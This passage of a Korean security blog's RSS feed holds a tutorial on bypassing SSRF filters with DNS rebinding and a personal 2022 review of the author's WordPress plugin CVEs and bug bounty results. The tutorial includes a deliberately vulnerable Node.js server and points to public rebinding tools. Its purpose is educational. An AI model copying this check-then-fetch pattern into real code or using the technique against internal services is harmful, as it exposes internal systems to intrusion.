      <guid isPermaLink="true">https://universe-blog.tistory.com/252</guid>
      <comments>https://universe-blog.tistory.com/entry/Dicectf-2023-writeup#entry252comment</comments>
      <pubDate>Wed, 8 Feb 2023 18:29:12 +0900</pubDate>
    </item>
    <item>
      <title>SSRF bypass using DNS Rebinding</title>
      <link>https://universe-blog.tistory.com/entry/SSRF-bypass-using-DNS-Rebinding</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2k24Z/btrVptTq45c/52d3gvvwyexkZ5KZXcxwhK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2k24Z/btrVptTq45c/52d3gvvwyexkZ5KZXcxwhK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2k24Z/btrVptTq45c/52d3gvvwyexkZ5KZXcxwhK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2k24Z%2FbtrVptTq45c%2F52d3gvvwyexkZ5KZXcxwhK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. 들어가기에 앞서&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 SSRF 공격을 막기 위해 개발자들은 다음과 같은 로직을 구현합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;차단할 IP 범위&lt;/li&gt;
&lt;li&gt;도메인 이름 확인 (이상한 문자열로 우회하는 공격..)&lt;/li&gt;
&lt;li&gt;DNS를 이용한 IP 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 과정을 통과하게 되면 사용자가 입력한 URL로 접속하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 상황을 간단한 코드로 나타내면 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1672828790693&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const dns = require(&quot;dns/promises&quot;);
const axios = require(&quot;axios&quot;);

async function request(url){
    const check_domain_name = is_domain_name(url);
    const check_dns = await dns.resolve4(url);
    const check_ip = is_blacklist_ip(check_dns);
    
    if(check_ip || check_domain_name || check_dns){
    	return false;
    }

    const response = await axios.get(url);
    
    // ...
    // ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, `DNS를 이용한 ip 확인` 과 `axios.get()` 함수를 이용한 요청간에 코드상 문제점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS 조회 결과 외부 IP로 확인 되었지만, get 요청 할 때는 내부 IP로 바껴 버리는 DNS Rebinding 공격에 취약하다는 점입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. DNS Rebinding 공격&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드의 문제점은 DNS 확인 시점 이후에, get 요청 시에 다시 요청되는 DNS 정보가 다른 IP로 바껴 버린다는 DNS Rebinding 공격에 취약하다는 점입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 실습하기 위한 nodejs 코드는 다음과 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1672832569752&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require(&quot;express&quot;);
const dns = require(&quot;dns/promises&quot;);
const axios = require(&quot;axios&quot;);
const app = express();

dns.setServers([
        '1.1.1.1', '8.8.8.8'
])

app.get(&quot;/ssrf&quot;, async (req, res) =&amp;gt; {
        const url = req.query.url;

        const result = await dns.resolve4(url);
        console.log(&quot;==== dns ====&quot;);
        console.log(result);

        const response = await axios.get(&quot;http://&quot; + url);
        console.log(&quot;=== response ===&quot;);
        console.log(response.data);
        res.send(&quot;1&quot;);
})

app.listen(8000, () =&amp;gt; {
        console.log(&quot;start&quot;);
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 실행하고 `http://localhost/ssrf?url=example.com` 으로 요청을 보내면 다음과 같은 결과를 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사진을 보면, dns 조회를 통한 ip 정보와 get 요청에 대한 응답 값을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Uwgp9/btrVmXVlctT/A1V6cja30N9b1rra8LDd41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Uwgp9/btrVmXVlctT/A1V6cja30N9b1rra8LDd41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Uwgp9/btrVmXVlctT/A1V6cja30N9b1rra8LDd41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUwgp9%2FbtrVmXVlctT%2FA1V6cja30N9b1rra8LDd41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;271&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS Rebinding 공격을 하기 위해 환경을 구축할 필요 없이 아래 링크에서 간단하게 사용할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lock.cmpxchg8b.com/rebinder.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://lock.cmpxchg8b.com/rebinder.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사진처럼 DNS에서 조회를 통해 우회할 IP와 get 요청을 통해 접속할 IP를 적어줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 밑에 domain이 자동으로 생성 됩니다. 이를 위에서 만든 환경에 전달할 경우 어떻게 될까요?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;521&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnT04L/btrVqfUWAym/zgoqY93RXcFbAGCqlybfCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnT04L/btrVqfUWAym/zgoqY93RXcFbAGCqlybfCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnT04L/btrVqfUWAym/zgoqY93RXcFbAGCqlybfCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnT04L%2FbtrVqfUWAym%2FzgoqY93RXcFbAGCqlybfCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;521&quot; height=&quot;204&quot; data-origin-width=&quot;521&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS 조회 결과 123.123.123.123 라는 IP가 출력되었습니다. get 요청 시 123.123.123.123 은 80 포트가 열려있지 않은 상태 입니다. 하지만, get 요청에 대한 응답이 아래 사진 처럼 출력이 된 것을 볼 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, DNS Rebinding 공격으로 인해 서로 다른 IP가 각각 전달되어 동작한 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/db7IJM/btrVpodLDHo/9u9SYS71H09B6C4WcjV161/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/db7IJM/btrVpodLDHo/9u9SYS71H09B6C4WcjV161/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/db7IJM/btrVpodLDHo/9u9SYS71H09B6C4WcjV161/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdb7IJM%2FbtrVpodLDHo%2F9u9SYS71H09B6C4WcjV161%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;241&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. 끝마치며&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 상황에 대해서는 어떻게 대처해야 할지,, 코드를 어떤 식으로 작성해야 하는지는 모르겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 생각했을 때는 DNS 조회 결과의 IP로 GET 요청을 보내면 되지 않을까 라는 생각을 했지만, 일부 사이트에서는 IP로 접근하는 요청을 차단하는 사이트가 있기 때문에,, 이 방법은 별로네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청을 담당하는 서비스 혹은 봇만 따로 빼서 내부 서비스가 없는 환경에 별도로 동작 시키면 안전하지 않을까 생각이 듭니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 상으로 DNS Rebinding 공격을 어떻게 막는지 궁금하네요 ㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아, 해당 공격을 찾다가 다음과 같은 DNS Rebinding 공격 툴을 추가로 발견했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 써보진 않았지만, 한번 써봐야 겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/makuga01/dnsFookup&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/makuga01/dnsFookup&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category> Security</category>
      <category>dns rebinding</category>
      <category>SSRF Bypass</category>
      <category>web hacking</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/250</guid>
      <comments>https://universe-blog.tistory.com/entry/SSRF-bypass-using-DNS-Rebinding#entry250comment</comments>
      <pubDate>Wed, 4 Jan 2023 19:54:52 +0900</pubDate>
    </item>
    <item>
      <title>2022년 마지막 날을 정리하며</title>
      <link>https://universe-blog.tistory.com/entry/2022%EB%85%84-%EB%A7%88%EC%A7%80%EB%A7%89-%EB%82%A0%EC%9D%84-%EC%A0%95%EB%A6%AC%ED%95%98%EB%A9%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;1497&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdpdoe/btrU1oSXqLa/Ohd4Iv5o7rF1HXxabxfbkK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdpdoe/btrU1oSXqLa/Ohd4Iv5o7rF1HXxabxfbkK/img.jpg&quot; data-alt=&quot;https://unsplash.com/photos/wtxPbYHxa5I&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdpdoe/btrU1oSXqLa/Ohd4Iv5o7rF1HXxabxfbkK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdpdoe%2FbtrU1oSXqLa%2FOhd4Iv5o7rF1HXxabxfbkK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;764&quot; height=&quot;1144&quot; data-origin-width=&quot;1000&quot; data-origin-height=&quot;1497&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://unsplash.com/photos/wtxPbYHxa5I&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2022년도는 크고 작은 사건들이 많은 해였던거 같습니다. 어떤 일들이 있었고, 다음 해에는 어떤 목표를 세울지 기록하고자 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;버그 바운티&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작년 목표였던 CVE 발급을 위해, &lt;b&gt;올해 wordpress plugin 취약점 발굴을 시작&lt;/b&gt;했습니다. 코드 분석한 결과 다수의 취약점을 찾아 10개(?) 정도의 CVE를 발급 받았습니다. (아직 패치 되지 않은 플러그인 때문에,,)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/export-all-urls/wordpress-export-all-urls-plugin-4-1-authenticated-stored-cross-site-scripting-xss-vulnerability&quot;&gt;CVE-2022-29452&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/enable-svg-webp-ico-upload/wordpress-enable-svg-webp-ico-upload-plugin-1-0-1-authenticated-arbitrary-file-upload-vulnerability&quot;&gt;CVE-2022-34154&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/uploading-svgwebp-and-ico-files/wordpress-uploading-svg-webp-and-ico-files-plugin-1-0-0-authenticated-stored-cross-site-scripting-xss-vulnerability&quot;&gt;CVE-2022-34648&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/polls-widget/wordpress-poll-survey-questionnaire-and-voting-system-plugin-1-7-4-authenticated-cross-site-scripting-xss-vulnerability&quot;&gt;CVE-2022-34656&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/uploading-svgwebp-and-ico-files/wordpress-uploading-svg-webp-and-ico-files-plugin-1-0-0-authenticated-arbitrary-file-upload-vulnerability&quot;&gt;CVE-2022-36285&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/enable-svg-webp-ico-upload/wordpress-enable-svg-webp-ico-upload-plugin-1-0-1-authenticated-stored-cross-site-scripting-xss-vulnerability&quot;&gt;CVE-2022-36343&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/database/vulnerability/aryo-activity-log/wordpress-activity-log-plugin-2-8-3-csv-injection-vulnerability&quot;&gt;CVE-2022-27858&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 &lt;b&gt;patchstack에서 wordpress plugin 1월달 취약점 제보 순위 1위&lt;/b&gt; 한 결과 입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/barDRN/btrU1319o1D/VW4tTOl6xYZmdm2FxKxYkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/barDRN/btrU1319o1D/VW4tTOl6xYZmdm2FxKxYkk/img.png&quot; data-alt=&quot;patchstack에서 wordpress plugin 1월달 취약점 제보 순위 1위&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/barDRN/btrU1319o1D/VW4tTOl6xYZmdm2FxKxYkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbarDRN%2FbtrU1319o1D%2FVW4tTOl6xYZmdm2FxKxYkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;370&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;patchstack에서 wordpress plugin 1월달 취약점 제보 순위 1위&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네이버 버그바운티에 참가하여 &lt;b&gt;최종 4등&lt;/b&gt;을 기록했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3등까지 갔었지만, 순위 변동으로 최종 4등이 되었네요. 올해 목표가 3등 안에 들어가 상패와 상품을 받는 것 이었는데, 위에 분들을 이길 순 없었네요....&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E9S5k/btrU7IbLk5e/sxMpNTT2cwj1CpRuJaqk81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E9S5k/btrU7IbLk5e/sxMpNTT2cwj1CpRuJaqk81/img.png&quot; data-alt=&quot;2022년도 네이버 버그 바운티 최종 4등&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E9S5k/btrU7IbLk5e/sxMpNTT2cwj1CpRuJaqk81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE9S5k%2FbtrU7IbLk5e%2FsxMpNTT2cwj1CpRuJaqk81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;268&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;268&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;2022년도 네이버 버그 바운티 최종 4등&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;드디어 수상&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작년에는 수상이 없어 올해는 무조건 수상을 하고 싶었습니다. 친구들과 함께 kospo 웹 서비스 정보보안 경진대회에서 최우수상을 수상했습니다. 이 대회는 제 1회때부터 매년 참가를 했었는데, 드디어 수상을 하게 되었네요. 부상으로 국정원 시계도 받았습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceMgZb/btrU2LmQkNP/dtasEUOS5Uywa6taeLJ431/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceMgZb/btrU2LmQkNP/dtasEUOS5Uywa6taeLJ431/img.png&quot; data-alt=&quot;kospo 웹 서비스 정보보안 경진대회 최우수상&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceMgZb/btrU2LmQkNP/dtasEUOS5Uywa6taeLJ431/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceMgZb%2FbtrU2LmQkNP%2FdtasEUOS5Uywa6taeLJ431%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;523&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;kospo 웹 서비스 정보보안 경진대회 최우수상&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;카카오 뱅크 인턴&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 쪽 직무에 인턴 경험을 해보고 싶어서 여기 저기 찾던 와중에, 카뱅 어보 팀 공고를 보게 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운이 좋게 카카오 뱅크 체험형 인턴에 합격하여 어보팀에서 근무하게 되었습니다. 덕분에(?) 처음으로 자취를 해보면서, 다시는 고시원에 살고 싶지 않더라구요,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 사회 경험 인지라, 지금 생각해보면 부족했던 행동들이 많이 생각나네요,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 대기업 가야 하는 이유를 직접 체험해 보니까,, 복지에 대해서는 저는 정말 좋았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저의 업무는 웹과 앱에 대한 취약점 진단을 중점으로 했습니다. 덕분에 기술적으로 많이 배우게 되었죠 ㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2023년도 목표&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 활동 외에도 teamh4c 가입, patchstack alliance team 가입, bob 사후 프로젝트 마무리 등등 작은 이벤트 들도 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내년 목표는,, 이랬으면 좋겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 머기업 취직!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 필요한 분석 능력 기르기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 해외 버그 바운티 / 벅바 받은 돈 천만원 채우기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/249</guid>
      <comments>https://universe-blog.tistory.com/entry/2022%EB%85%84-%EB%A7%88%EC%A7%80%EB%A7%89-%EB%82%A0%EC%9D%84-%EC%A0%95%EB%A6%AC%ED%95%98%EB%A9%B0#entry249comment</comments>
      <pubDate>Sat, 31 Dec 2022 21:02:24 +0900</pubDate>
    </item>
  </channel>
</rss>